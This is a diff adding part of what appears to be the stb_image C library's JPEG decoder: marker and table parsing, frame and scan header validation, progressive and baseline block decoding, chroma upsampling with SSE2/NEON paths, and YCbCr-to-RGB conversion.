+#define STBI__MARKER_none  0xff
+// if there's a pending marker from the entropy stream, return that
+// otherwise, fetch from the stream and get a marker. if there's no
+// marker, return 0xff, which is never a valid marker value
+static stbi_uc stbi__get_marker(stbi__jpeg *j)
+{
+   stbi_uc x;
+   if (j->marker != STBI__MARKER_none) { x = j->marker; j->marker = STBI__MARKER_none; return x; }
+   x = stbi__get8(j->s);
+   if (x != 0xff) return STBI__MARKER_none;
+   while (x == 0xff)
+      x = stbi__get8(j->s); // consume repeated 0xff fill bytes
+   return x;
+}
+
+// in each scan, we'll have scan_n components, and the order
+// of the components is specified by order[]
+#define STBI__RESTART(x)     ((x) >= 0xd0 && (x) <= 0xd7)
+
+// after a restart interval, stbi__jpeg_reset the entropy decoder and
+// the dc prediction
+static void stbi__jpeg_reset(stbi__jpeg *j)
+{
+   j->code_bits = 0;
+   j->code_buffer = 0;
+   j->nomore = 0;
+   j->img_comp[0].dc_pred = j->img_comp[1].dc_pred = j->img_comp[2].dc_pred = j->img_comp[3].dc_pred = 0;
+   j->marker = STBI__MARKER_none;
+   j->todo = j->restart_interval ? j->restart_interval : 0x7fffffff;
+   j->eob_run = 0;
+   // no more than 1<<31 MCUs if no restart_interal? that's plenty safe,
+   // since we don't even allow 1<<30 pixels
+}
+
+static int stbi__parse_entropy_coded_data(stbi__jpeg *z)
+{
+   stbi__jpeg_reset(z);
+   if (!z->progressive) {
+      if (z->scan_n == 1) {
+         int i,j;
+         STBI_SIMD_ALIGN(short, data[64]);
+         int n = z->order[0];
+         // non-interleaved data, we just need to process one block at a time,
+         // in trivial scanline order
+         // number of blocks to do just depends on how many actual "pixels" this
+         // component has, independent of interleaved MCU blocking and such
+         int w = (z->img_comp[n].x+7) >> 3;
+         int h = (z->img_comp[n].y+7) >> 3;
+         for (j=0; j < h; ++j) {
+            for (i=0; i < w; ++i) {
+               int ha = z->img_comp[n].ha;
+               if (!stbi__jpeg_decode_block(z, data, z->huff_dc+z->img_comp[n].hd, z->huff_ac+ha, z->fast_ac[ha], n, z->dequant[z->img_comp[n].tq])) return 0;
+               z->idct_block_kernel(z->img_comp[n].data+z->img_comp[n].w2*j*8+i*8, z->img_comp[n].w2, data);
+               // every data block is an MCU, so countdown the restart interval
+               if (--z->todo <= 0) {
+                  if (z->code_bits < 24) stbi__grow_buffer_unsafe(z);
+                  // if it's NOT a restart, then just bail, so we get corrupt data
+                  // rather than no data
+                  if (!STBI__RESTART(z->marker)) return 1;
+                  stbi__jpeg_reset(z);
+               }
+            }
+         }
+         return 1;
+      } else { // interleaved
+         int i,j,k,x,y;
+         STBI_SIMD_ALIGN(short, data[64]);
+         for (j=0; j < z->img_mcu_y; ++j) {
+            for (i=0; i < z->img_mcu_x; ++i) {
+               // scan an interleaved mcu... process scan_n components in order
+               for (k=0; k < z->scan_n; ++k) {
+                  int n = z->order[k];
+                  // scan out an mcu's worth of this component; that's just determined
+                  // by the basic H and V specified for the component
+                  for (y=0; y < z->img_comp[n].v; ++y) {
+                     for (x=0; x < z->img_comp[n].h; ++x) {
+                        int x2 = (i*z->img_comp[n].h + x)*8;
+                        int y2 = (j*z->img_comp[n].v + y)*8;
+                        int ha = z->img_comp[n].ha;
+                        if (!stbi__jpeg_decode_block(z, data, z->huff_dc+z->img_comp[n].hd, z->huff_ac+ha, z->fast_ac[ha], n, z->dequant[z->img_comp[n].tq])) return 0;
+                        z->idct_block_kernel(z->img_comp[n].data+z->img_comp[n].w2*y2+x2, z->img_comp[n].w2, data);
+                     }
+                  }
+               }
+               // after all interleaved components, that's an interleaved MCU,
+               // so now count down the restart interval
+               if (--z->todo <= 0) {
+                  if (z->code_bits < 24) stbi__grow_buffer_unsafe(z);
+                  if (!STBI__RESTART(z->marker)) return 1;
+                  stbi__jpeg_reset(z);
+               }
+            }
+         }
+         return 1;
+      }
+   } else {
+      if (z->scan_n == 1) {
+         int i,j;
+         int n = z->order[0];
+         // non-interleaved data, we just need to process one block at a time,
+         // in trivial scanline order
+         // number of blocks to do just depends on how many actual "pixels" this
+         // component has, independent of interleaved MCU blocking and such
+         int w = (z->img_comp[n].x+7) >> 3;
+         int h = (z->img_comp[n].y+7) >> 3;
+         for (j=0; j < h; ++j) {
+            for (i=0; i < w; ++i) {
+               short *data = z->img_comp[n].coeff + 64 * (i + j * z->img_comp[n].coeff_w);
+               if (z->spec_start == 0) {
+                  if (!stbi__jpeg_decode_block_prog_dc(z, data, &z->huff_dc[z->img_comp[n].hd], n))
+                     return 0;
+               } else {
+                  int ha = z->img_comp[n].ha;
+                  if (!stbi__jpeg_decode_block_prog_ac(z, data, &z->huff_ac[ha], z->fast_ac[ha]))
+                     return 0;
+               }
+               // every data block is an MCU, so countdown the restart interval
+               if (--z->todo <= 0) {
+                  if (z->code_bits < 24) stbi__grow_buffer_unsafe(z);
+                  if (!STBI__RESTART(z->marker)) return 1;
+                  stbi__jpeg_reset(z);
+               }
+            }
+         }
+         return 1;
+      } else { // interleaved
+         int i,j,k,x,y;
+         for (j=0; j < z->img_mcu_y; ++j) {
+            for (i=0; i < z->img_mcu_x; ++i) {
+               // scan an interleaved mcu... process scan_n components in order
+               for (k=0; k < z->scan_n; ++k) {
+                  int n = z->order[k];
+                  // scan out an mcu's worth of this component; that's just determined
+                  // by the basic H and V specified for the component
+                  for (y=0; y < z->img_comp[n].v; ++y) {
+                     for (x=0; x < z->img_comp[n].h; ++x) {
+                        int x2 = (i*z->img_comp[n].h + x);
+                        int y2 = (j*z->img_comp[n].v + y);
+                        short *data = z->img_comp[n].coeff + 64 * (x2 + y2 * z->img_comp[n].coeff_w);
+                        if (!stbi__jpeg_decode_block_prog_dc(z, data, &z->huff_dc[z->img_comp[n].hd], n))
+                           return 0;
+                     }
+                  }
+               }
+               // after all interleaved components, that's an interleaved MCU,
+               // so now count down the restart interval
+               if (--z->todo <= 0) {
+                  if (z->code_bits < 24) stbi__grow_buffer_unsafe(z);
+                  if (!STBI__RESTART(z->marker)) return 1;
+                  stbi__jpeg_reset(z);
+               }
+            }
+         }
+         return 1;
+      }
+   }
+}
+
+static void stbi__jpeg_dequantize(short *data, stbi__uint16 *dequant)
+{
+   int i;
+   for (i=0; i < 64; ++i)
+      data[i] *= dequant[i];
+}
+
+static void stbi__jpeg_finish(stbi__jpeg *z)
+{
+   if (z->progressive) {
+      // dequantize and idct the data
+      int i,j,n;
+      for (n=0; n < z->s->img_n; ++n) {
+         int w = (z->img_comp[n].x+7) >> 3;
+         int h = (z->img_comp[n].y+7) >> 3;
+         for (j=0; j < h; ++j) {
+            for (i=0; i < w; ++i) {
+               short *data = z->img_comp[n].coeff + 64 * (i + j * z->img_comp[n].coeff_w);
+               stbi__jpeg_dequantize(data, z->dequant[z->img_comp[n].tq]);
+               z->idct_block_kernel(z->img_comp[n].data+z->img_comp[n].w2*j*8+i*8, z->img_comp[n].w2, data);
+            }
+         }
+      }
+   }
+}
+
+static int stbi__process_marker(stbi__jpeg *z, int m)
+{
+   int L;
+   switch (m) {
+      case STBI__MARKER_none: // no marker found
+         return stbi__err("expected marker","Corrupt JPEG");
+
+      case 0xDD: // DRI - specify restart interval
+         if (stbi__get16be(z->s) != 4) return stbi__err("bad DRI len","Corrupt JPEG");
+         z->restart_interval = stbi__get16be(z->s);
+         return 1;
+
+      case 0xDB: // DQT - define quantization table
+         L = stbi__get16be(z->s)-2;
+         while (L > 0) {
+            int q = stbi__get8(z->s);
+            int p = q >> 4, sixteen = (p != 0);
+            int t = q & 15,i;
+            if (p != 0 && p != 1) return stbi__err("bad DQT type","Corrupt JPEG");
+            if (t > 3) return stbi__err("bad DQT table","Corrupt JPEG");
+
+            for (i=0; i < 64; ++i)
+               z->dequant[t][stbi__jpeg_dezigzag[i]] = (stbi__uint16)(sixteen ? stbi__get16be(z->s) : stbi__get8(z->s));
+            L -= (sixteen ? 129 : 65);
+         }
+         return L==0;
+
+      case 0xC4: // DHT - define huffman table
+         L = stbi__get16be(z->s)-2;
+         while (L > 0) {
+            stbi_uc *v;
+            int sizes[16],i,n=0;
+            int q = stbi__get8(z->s);
+            int tc = q >> 4;
+            int th = q & 15;
+            if (tc > 1 || th > 3) return stbi__err("bad DHT header","Corrupt JPEG");
+            for (i=0; i < 16; ++i) {
+               sizes[i] = stbi__get8(z->s);
+               n += sizes[i];
+            }
+            if(n > 256) return stbi__err("bad DHT header","Corrupt JPEG"); // Loop over i < n would write past end of values!
+            L -= 17;
+            if (tc == 0) {
+               if (!stbi__build_huffman(z->huff_dc+th, sizes)) return 0;
+               v = z->huff_dc[th].values;
+            } else {
+               if (!stbi__build_huffman(z->huff_ac+th, sizes)) return 0;
+               v = z->huff_ac[th].values;
+            }
+            for (i=0; i < n; ++i)
+               v[i] = stbi__get8(z->s);
+            if (tc != 0)
+               stbi__build_fast_ac(z->fast_ac[th], z->huff_ac + th);
+            L -= n;
+         }
+         return L==0;
+   }
+
+   // check for comment block or APP blocks
+   if ((m >= 0xE0 && m <= 0xEF) || m == 0xFE) {
+      L = stbi__get16be(z->s);
+      if (L < 2) {
+         if (m == 0xFE)
+            return stbi__err("bad COM len","Corrupt JPEG");
+         else
+            return stbi__err("bad APP len","Corrupt JPEG");
+      }
+      L -= 2;
+
+      if (m == 0xE0 && L >= 5) { // JFIF APP0 segment
+         static const unsigned char tag[5] = {'J','F','I','F','\0'};
+         int ok = 1;
+         int i;
+         for (i=0; i < 5; ++i)
+            if (stbi__get8(z->s) != tag[i])
+               ok = 0;
+         L -= 5;
+         if (ok)
+            z->jfif = 1;
+      } else if (m == 0xEE && L >= 12) { // Adobe APP14 segment
+         static const unsigned char tag[6] = {'A','d','o','b','e','\0'};
+         int ok = 1;
+         int i;
+         for (i=0; i < 6; ++i)
+            if (stbi__get8(z->s) != tag[i])
+               ok = 0;
+         L -= 6;
+         if (ok) {
+            stbi__get8(z->s); // version
+            stbi__get16be(z->s); // flags0
+            stbi__get16be(z->s); // flags1
+            z->app14_color_transform = stbi__get8(z->s); // color transform
+            L -= 6;
+         }
+      }
+
+      stbi__skip(z->s, L);
+      return 1;
+   }
+
+   return stbi__err("unknown marker","Corrupt JPEG");
+}
+
+// after we see SOS
+static int stbi__process_scan_header(stbi__jpeg *z)
+{
+   int i;
+   int Ls = stbi__get16be(z->s);
+   z->scan_n = stbi__get8(z->s);
+   if (z->scan_n < 1 || z->scan_n > 4 || z->scan_n > (int) z->s->img_n) return stbi__err("bad SOS component count","Corrupt JPEG");
+   if (Ls != 6+2*z->scan_n) return stbi__err("bad SOS len","Corrupt JPEG");
+   for (i=0; i < z->scan_n; ++i) {
+      int id = stbi__get8(z->s), which;
+      int q = stbi__get8(z->s);
+      for (which = 0; which < z->s->img_n; ++which)
+         if (z->img_comp[which].id == id)
+            break;
+      if (which == z->s->img_n) return 0; // no match
+      z->img_comp[which].hd = q >> 4;   if (z->img_comp[which].hd > 3) return stbi__err("bad DC huff","Corrupt JPEG");
+      z->img_comp[which].ha = q & 15;   if (z->img_comp[which].ha > 3) return stbi__err("bad AC huff","Corrupt JPEG");
+      z->order[i] = which;
+   }
+
+   {
+      int aa;
+      z->spec_start = stbi__get8(z->s);
+      z->spec_end   = stbi__get8(z->s); // should be 63, but might be 0
+      aa = stbi__get8(z->s);
+      z->succ_high = (aa >> 4);
+      z->succ_low  = (aa & 15);
+      if (z->progressive) {
+         if (z->spec_start > 63 || z->spec_end > 63  || z->spec_start > z->spec_end || z->succ_high > 13 || z->succ_low > 13)
+            return stbi__err("bad SOS", "Corrupt JPEG");
+      } else {
+         if (z->spec_start != 0) return stbi__err("bad SOS","Corrupt JPEG");
+         if (z->succ_high != 0 || z->succ_low != 0) return stbi__err("bad SOS","Corrupt JPEG");
+         z->spec_end = 63;
+      }
+   }
+
+   return 1;
+}
+
+static int stbi__free_jpeg_components(stbi__jpeg *z, int ncomp, int why)
+{
+   int i;
+   for (i=0; i < ncomp; ++i) {
+      if (z->img_comp[i].raw_data) {
+         STBI_FREE(z->img_comp[i].raw_data);
+         z->img_comp[i].raw_data = NULL;
+         z->img_comp[i].data = NULL;
+      }
+      if (z->img_comp[i].raw_coeff) {
+         STBI_FREE(z->img_comp[i].raw_coeff);
+         z->img_comp[i].raw_coeff = 0;
+         z->img_comp[i].coeff = 0;
+      }
+      if (z->img_comp[i].linebuf) {
+         STBI_FREE(z->img_comp[i].linebuf);
+         z->img_comp[i].linebuf = NULL;
+      }
+   }
+   return why;
+}
+
+static int stbi__process_frame_header(stbi__jpeg *z, int scan)
+{
+   stbi__context *s = z->s;
+   int Lf,p,i,q, h_max=1,v_max=1,c;
+   Lf = stbi__get16be(s);         if (Lf < 11) return stbi__err("bad SOF len","Corrupt JPEG"); // JPEG
+   p  = stbi__get8(s);            if (p != 8) return stbi__err("only 8-bit","JPEG format not supported: 8-bit only"); // JPEG baseline
+   s->img_y = stbi__get16be(s);   if (s->img_y == 0) return stbi__err("no header height", "JPEG format not supported: delayed height"); // Legal, but we don't handle it--but neither does IJG
+   s->img_x = stbi__get16be(s);   if (s->img_x == 0) return stbi__err("0 width","Corrupt JPEG"); // JPEG requires
+   if (s->img_y > STBI_MAX_DIMENSIONS) return stbi__err("too large","Very large image (corrupt?)");
+   if (s->img_x > STBI_MAX_DIMENSIONS) return stbi__err("too large","Very large image (corrupt?)");
+   c = stbi__get8(s);
+   if (c != 3 && c != 1 && c != 4) return stbi__err("bad component count","Corrupt JPEG");
+   s->img_n = c;
+   for (i=0; i < c; ++i) {
+      z->img_comp[i].data = NULL;
+      z->img_comp[i].linebuf = NULL;
+   }
+
+   if (Lf != 8+3*s->img_n) return stbi__err("bad SOF len","Corrupt JPEG");
+
+   z->rgb = 0;
+   for (i=0; i < s->img_n; ++i) {
+      static const unsigned char rgb[3] = { 'R', 'G', 'B' };
+      z->img_comp[i].id = stbi__get8(s);
+      if (s->img_n == 3 && z->img_comp[i].id == rgb[i])
+         ++z->rgb;
+      q = stbi__get8(s);
+      z->img_comp[i].h = (q >> 4);  if (!z->img_comp[i].h || z->img_comp[i].h > 4) return stbi__err("bad H","Corrupt JPEG");
+      z->img_comp[i].v = q & 15;    if (!z->img_comp[i].v || z->img_comp[i].v > 4) return stbi__err("bad V","Corrupt JPEG");
+      z->img_comp[i].tq = stbi__get8(s);  if (z->img_comp[i].tq > 3) return stbi__err("bad TQ","Corrupt JPEG");
+   }
+
+   if (scan != STBI__SCAN_load) return 1;
+
+   if (!stbi__mad3sizes_valid(s->img_x, s->img_y, s->img_n, 0)) return stbi__err("too large", "Image too large to decode");
+
+   for (i=0; i < s->img_n; ++i) {
+      if (z->img_comp[i].h > h_max) h_max = z->img_comp[i].h;
+      if (z->img_comp[i].v > v_max) v_max = z->img_comp[i].v;
+   }
+
+   // check that plane subsampling factors are integer ratios; our resamplers can't deal with fractional ratios
+   // and I've never seen a non-corrupted JPEG file actually use them
+   for (i=0; i < s->img_n; ++i) {
+      if (h_max % z->img_comp[i].h != 0) return stbi__err("bad H","Corrupt JPEG");
+      if (v_max % z->img_comp[i].v != 0) return stbi__err("bad V","Corrupt JPEG");
+   }
+
+   // compute interleaved mcu info
+   z->img_h_max = h_max;
+   z->img_v_max = v_max;
+   z->img_mcu_w = h_max * 8;
+   z->img_mcu_h = v_max * 8;
+   // these sizes can't be more than 17 bits
+   z->img_mcu_x = (s->img_x + z->img_mcu_w-1) / z->img_mcu_w;
+   z->img_mcu_y = (s->img_y + z->img_mcu_h-1) / z->img_mcu_h;
+
+   for (i=0; i < s->img_n; ++i) {
+      // number of effective pixels (e.g. for non-interleaved MCU)
+      z->img_comp[i].x = (s->img_x * z->img_comp[i].h + h_max-1) / h_max;
+      z->img_comp[i].y = (s->img_y * z->img_comp[i].v + v_max-1) / v_max;
+      // to simplify generation, we'll allocate enough memory to decode
+      // the bogus oversized data from using interleaved MCUs and their
+      // big blocks (e.g. a 16x16 iMCU on an image of width 33); we won't
+      // discard the extra data until colorspace conversion
+      //
+      // img_mcu_x, img_mcu_y: <=17 bits; comp[i].h and .v are <=4 (checked earlier)
+      // so these muls can't overflow with 32-bit ints (which we require)
+      z->img_comp[i].w2 = z->img_mcu_x * z->img_comp[i].h * 8;
+      z->img_comp[i].h2 = z->img_mcu_y * z->img_comp[i].v * 8;
+      z->img_comp[i].coeff = 0;
+      z->img_comp[i].raw_coeff = 0;
+      z->img_comp[i].linebuf = NULL;
+      z->img_comp[i].raw_data = stbi__malloc_mad2(z->img_comp[i].w2, z->img_comp[i].h2, 15);
+      if (z->img_comp[i].raw_data == NULL)
+         return stbi__free_jpeg_components(z, i+1, stbi__err("outofmem", "Out of memory"));
+      // align blocks for idct using mmx/sse
+      z->img_comp[i].data = (stbi_uc*) (((size_t) z->img_comp[i].raw_data + 15) & ~15);
+      if (z->progressive) {
+         // w2, h2 are multiples of 8 (see above)
+         z->img_comp[i].coeff_w = z->img_comp[i].w2 / 8;
+         z->img_comp[i].coeff_h = z->img_comp[i].h2 / 8;
+         z->img_comp[i].raw_coeff = stbi__malloc_mad3(z->img_comp[i].w2, z->img_comp[i].h2, sizeof(short), 15);
+         if (z->img_comp[i].raw_coeff == NULL)
+            return stbi__free_jpeg_components(z, i+1, stbi__err("outofmem", "Out of memory"));
+         z->img_comp[i].coeff = (short*) (((size_t) z->img_comp[i].raw_coeff + 15) & ~15);
+      }
+   }
+
+   return 1;
+}
+
+// use comparisons since in some cases we handle more than one case (e.g. SOF)
+#define stbi__DNL(x)         ((x) == 0xdc)
+#define stbi__SOI(x)         ((x) == 0xd8)
+#define stbi__EOI(x)         ((x) == 0xd9)
+#define stbi__SOF(x)         ((x) == 0xc0 || (x) == 0xc1 || (x) == 0xc2)
+#define stbi__SOS(x)         ((x) == 0xda)
+
+#define stbi__SOF_progressive(x)   ((x) == 0xc2)
+
+static int stbi__decode_jpeg_header(stbi__jpeg *z, int scan)
+{
+   int m;
+   z->jfif = 0;
+   z->app14_color_transform = -1; // valid values are 0,1,2
+   z->marker = STBI__MARKER_none; // initialize cached marker to empty
+   m = stbi__get_marker(z);
+   if (!stbi__SOI(m)) return stbi__err("no SOI","Corrupt JPEG");
+   if (scan == STBI__SCAN_type) return 1;
+   m = stbi__get_marker(z);
+   while (!stbi__SOF(m)) {
+      if (!stbi__process_marker(z,m)) return 0;
+      m = stbi__get_marker(z);
+      while (m == STBI__MARKER_none) {
+         // some files have extra padding after their blocks, so ok, we'll scan
+         if (stbi__at_eof(z->s)) return stbi__err("no SOF", "Corrupt JPEG");
+         m = stbi__get_marker(z);
+      }
+   }
+   z->progressive = stbi__SOF_progressive(m);
+   if (!stbi__process_frame_header(z, scan)) return 0;
+   return 1;
+}
+
+static stbi_uc stbi__skip_jpeg_junk_at_end(stbi__jpeg *j)
+{
+   // some JPEGs have junk at end, skip over it but if we find what looks
+   // like a valid marker, resume there
+   while (!stbi__at_eof(j->s)) {
+      stbi_uc x = stbi__get8(j->s);
+      while (x == 0xff) { // might be a marker
+         if (stbi__at_eof(j->s)) return STBI__MARKER_none;
+         x = stbi__get8(j->s);
+         if (x != 0x00 && x != 0xff) {
+            // not a stuffed zero or lead-in to another marker, looks
+            // like an actual marker, return it
+            return x;
+         }
+         // stuffed zero has x=0 now which ends the loop, meaning we go
+         // back to regular scan loop.
+         // repeated 0xff keeps trying to read the next byte of the marker.
+      }
+   }
+   return STBI__MARKER_none;
+}
+
+// decode image to YCbCr format
+static int stbi__decode_jpeg_image(stbi__jpeg *j)
+{
+   int m;
+   for (m = 0; m < 4; m++) {
+      j->img_comp[m].raw_data = NULL;
+      j->img_comp[m].raw_coeff = NULL;
+   }
+   j->restart_interval = 0;
+   if (!stbi__decode_jpeg_header(j, STBI__SCAN_load)) return 0;
+   m = stbi__get_marker(j);
+   while (!stbi__EOI(m)) {
+      if (stbi__SOS(m)) {
+         if (!stbi__process_scan_header(j)) return 0;
+         if (!stbi__parse_entropy_coded_data(j)) return 0;
+         if (j->marker == STBI__MARKER_none ) {
+         j->marker = stbi__skip_jpeg_junk_at_end(j);
+            // if we reach eof without hitting a marker, stbi__get_marker() below will fail and we'll eventually return 0
+         }
+         m = stbi__get_marker(j);
+         if (STBI__RESTART(m))
+            m = stbi__get_marker(j);
+      } else if (stbi__DNL(m)) {
+         int Ld = stbi__get16be(j->s);
+         stbi__uint32 NL = stbi__get16be(j->s);
+         if (Ld != 4) return stbi__err("bad DNL len", "Corrupt JPEG");
+         if (NL != j->s->img_y) return stbi__err("bad DNL height", "Corrupt JPEG");
+         m = stbi__get_marker(j);
+      } else {
+         if (!stbi__process_marker(j, m)) return 1;
+         m = stbi__get_marker(j);
+      }
+   }
+   if (j->progressive)
+      stbi__jpeg_finish(j);
+   return 1;
+}
+
+// static jfif-centered resampling (across block boundaries)
+
+typedef stbi_uc *(*resample_row_func)(stbi_uc *out, stbi_uc *in0, stbi_uc *in1,
+                                    int w, int hs);
+
+#define stbi__div4(x) ((stbi_uc) ((x) >> 2))
+
+static stbi_uc *resample_row_1(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   STBI_NOTUSED(out);
+   STBI_NOTUSED(in_far);
+   STBI_NOTUSED(w);
+   STBI_NOTUSED(hs);
+   return in_near;
+}
+
+static stbi_uc* stbi__resample_row_v_2(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // need to generate two samples vertically for every one in input
+   int i;
+   STBI_NOTUSED(hs);
+   for (i=0; i < w; ++i)
+      out[i] = stbi__div4(3*in_near[i] + in_far[i] + 2);
+   return out;
+}
+
+static stbi_uc*  stbi__resample_row_h_2(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // need to generate two samples horizontally for every one in input
+   int i;
+   stbi_uc *input = in_near;
+
+   if (w == 1) {
+      // if only one sample, can't do any interpolation
+      out[0] = out[1] = input[0];
+      return out;
+   }
+
+   out[0] = input[0];
+   out[1] = stbi__div4(input[0]*3 + input[1] + 2);
+   for (i=1; i < w-1; ++i) {
+      int n = 3*input[i]+2;
+      out[i*2+0] = stbi__div4(n+input[i-1]);
+      out[i*2+1] = stbi__div4(n+input[i+1]);
+   }
+   out[i*2+0] = stbi__div4(input[w-2]*3 + input[w-1] + 2);
+   out[i*2+1] = input[w-1];
+
+   STBI_NOTUSED(in_far);
+   STBI_NOTUSED(hs);
+
+   return out;
+}
+
+#define stbi__div16(x) ((stbi_uc) ((x) >> 4))
+
+static stbi_uc *stbi__resample_row_hv_2(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // need to generate 2x2 samples for every one in input
+   int i,t0,t1;
+   if (w == 1) {
+      out[0] = out[1] = stbi__div4(3*in_near[0] + in_far[0] + 2);
+      return out;
+   }
+
+   t1 = 3*in_near[0] + in_far[0];
+   out[0] = stbi__div4(t1+2);
+   for (i=1; i < w; ++i) {
+      t0 = t1;
+      t1 = 3*in_near[i]+in_far[i];
+      out[i*2-1] = stbi__div16(3*t0 + t1 + 8);
+      out[i*2  ] = stbi__div16(3*t1 + t0 + 8);
+   }
+   out[w*2-1] = stbi__div4(t1+2);
+
+   STBI_NOTUSED(hs);
+
+   return out;
+}
+
+#if defined(STBI_SSE2) || defined(STBI_NEON)
+static stbi_uc *stbi__resample_row_hv_2_simd(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // need to generate 2x2 samples for every one in input
+   int i=0,t0,t1;
+
+   if (w == 1) {
+      out[0] = out[1] = stbi__div4(3*in_near[0] + in_far[0] + 2);
+      return out;
+   }
+
+   t1 = 3*in_near[0] + in_far[0];
+   // process groups of 8 pixels for as long as we can.
+   // note we can't handle the last pixel in a row in this loop
+   // because we need to handle the filter boundary conditions.
+   for (; i < ((w-1) & ~7); i += 8) {
+#if defined(STBI_SSE2)
+      // load and perform the vertical filtering pass
+      // this uses 3*x + y = 4*x + (y - x)
+      __m128i zero  = _mm_setzero_si128();
+      __m128i farb  = _mm_loadl_epi64((__m128i *) (in_far + i));
+      __m128i nearb = _mm_loadl_epi64((__m128i *) (in_near + i));
+      __m128i farw  = _mm_unpacklo_epi8(farb, zero);
+      __m128i nearw = _mm_unpacklo_epi8(nearb, zero);
+      __m128i diff  = _mm_sub_epi16(farw, nearw);
+      __m128i nears = _mm_slli_epi16(nearw, 2);
+      __m128i curr  = _mm_add_epi16(nears, diff); // current row
+
+      // horizontal filter works the same based on shifted vers of current
+      // row. "prev" is current row shifted right by 1 pixel; we need to
+      // insert the previous pixel value (from t1).
+      // "next" is current row shifted left by 1 pixel, with first pixel
+      // of next block of 8 pixels added in.
+      __m128i prv0 = _mm_slli_si128(curr, 2);
+      __m128i nxt0 = _mm_srli_si128(curr, 2);
+      __m128i prev = _mm_insert_epi16(prv0, t1, 0);
+      __m128i next = _mm_insert_epi16(nxt0, 3*in_near[i+8] + in_far[i+8], 7);
+
+      // horizontal filter, polyphase implementation since it's convenient:
+      // even pixels = 3*cur + prev = cur*4 + (prev - cur)
+      // odd  pixels = 3*cur + next = cur*4 + (next - cur)
+      // note the shared term.
+      __m128i bias  = _mm_set1_epi16(8);
+      __m128i curs = _mm_slli_epi16(curr, 2);
+      __m128i prvd = _mm_sub_epi16(prev, curr);
+      __m128i nxtd = _mm_sub_epi16(next, curr);
+      __m128i curb = _mm_add_epi16(curs, bias);
+      __m128i even = _mm_add_epi16(prvd, curb);
+      __m128i odd  = _mm_add_epi16(nxtd, curb);
+
+      // interleave even and odd pixels, then undo scaling.
+      __m128i int0 = _mm_unpacklo_epi16(even, odd);
+      __m128i int1 = _mm_unpackhi_epi16(even, odd);
+      __m128i de0  = _mm_srli_epi16(int0, 4);
+      __m128i de1  = _mm_srli_epi16(int1, 4);
+
+      // pack and write output
+      __m128i outv = _mm_packus_epi16(de0, de1);
+      _mm_storeu_si128((__m128i *) (out + i*2), outv);
+#elif defined(STBI_NEON)
+      // load and perform the vertical filtering pass
+      // this uses 3*x + y = 4*x + (y - x)
+      uint8x8_t farb  = vld1_u8(in_far + i);
+      uint8x8_t nearb = vld1_u8(in_near + i);
+      int16x8_t diff  = vreinterpretq_s16_u16(vsubl_u8(farb, nearb));
+      int16x8_t nears = vreinterpretq_s16_u16(vshll_n_u8(nearb, 2));
+      int16x8_t curr  = vaddq_s16(nears, diff); // current row
+
+      // horizontal filter works the same based on shifted vers of current
+      // row. "prev" is current row shifted right by 1 pixel; we need to
+      // insert the previous pixel value (from t1).
+      // "next" is current row shifted left by 1 pixel, with first pixel
+      // of next block of 8 pixels added in.
+      int16x8_t prv0 = vextq_s16(curr, curr, 7);
+      int16x8_t nxt0 = vextq_s16(curr, curr, 1);
+      int16x8_t prev = vsetq_lane_s16(t1, prv0, 0);
+      int16x8_t next = vsetq_lane_s16(3*in_near[i+8] + in_far[i+8], nxt0, 7);
+
+      // horizontal filter, polyphase implementation since it's convenient:
+      // even pixels = 3*cur + prev = cur*4 + (prev - cur)
+      // odd  pixels = 3*cur + next = cur*4 + (next - cur)
+      // note the shared term.
+      int16x8_t curs = vshlq_n_s16(curr, 2);
+      int16x8_t prvd = vsubq_s16(prev, curr);
+      int16x8_t nxtd = vsubq_s16(next, curr);
+      int16x8_t even = vaddq_s16(curs, prvd);
+      int16x8_t odd  = vaddq_s16(curs, nxtd);
+
+      // undo scaling and round, then store with even/odd phases interleaved
+      uint8x8x2_t o;
+      o.val[0] = vqrshrun_n_s16(even, 4);
+      o.val[1] = vqrshrun_n_s16(odd,  4);
+      vst2_u8(out + i*2, o);
+#endif
+
+      // "previous" value for next iter
+      t1 = 3*in_near[i+7] + in_far[i+7];
+   }
+
+   t0 = t1;
+   t1 = 3*in_near[i] + in_far[i];
+   out[i*2] = stbi__div16(3*t1 + t0 + 8);
+
+   for (++i; i < w; ++i) {
+      t0 = t1;
+      t1 = 3*in_near[i]+in_far[i];
+      out[i*2-1] = stbi__div16(3*t0 + t1 + 8);
+      out[i*2  ] = stbi__div16(3*t1 + t0 + 8);
+   }
+   out[w*2-1] = stbi__div4(t1+2);
+
+   STBI_NOTUSED(hs);
+
+   return out;
+}
+#endif
+
+static stbi_uc *stbi__resample_row_generic(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // resample with nearest-neighbor
+   int i,j;
+   STBI_NOTUSED(in_far);
+   for (i=0; i < w; ++i)
+      for (j=0; j < hs; ++j)
+         out[i*hs+j] = in_near[i];
+   return out;
+}
+
+// this is a reduced-precision calculation of YCbCr-to-RGB introduced
+// to make sure the code produces the same results in both SIMD and scalar
+#define stbi__float2fixed(x)  (((int) ((x) * 4096.0f + 0.5f)) << 8)
+static void stbi__YCbCr_to_RGB_row(stbi_uc *out, const stbi_uc *y, const stbi_uc *pcb, const stbi_uc *pcr, int count, int step)
+{
+   int i;
+   for (i=0; i < count; ++i) {
+      int y_fixed = (y[i] << 20) + (1<<19); // rounding
+      int r,g,b;
+      int cr = pcr[i] - 128;
+      int cb = pcb[i] - 128;
+      r = y_fixed +  cr* stbi__float2fixed(1.40200f);
+      g = y_fixed + (cr*-stbi__float2fixed(0.71414f)) + ((cb*-stbi__float2fixed(0.34414f)) & 0xffff0000);
+      b = y_fixed                                     +   cb* stbi__float2fixed(1.77200f);
+      r >>= 20;
+      g >>= 20;
+      b >>= 20;
+      if ((unsigned) r > 255) { if (r < 0) r = 0; else r = 255; }
+      if ((unsigned) g > 255) { if (g < 0) g = 0; else g = 255; }
+      if ((unsigned) b > 255) { if (b < 0) b = 0; else b = 255; }
+      out[0] = (stbi_uc)r;
+      out[1] = (stbi_uc)g;
+      out[2] = (stbi_uc)b;
+      out[3] = 255;
+      out += step;
+   }
+}
+
+#if defined(STBI_SSE2) || defined(STBI_NEON)
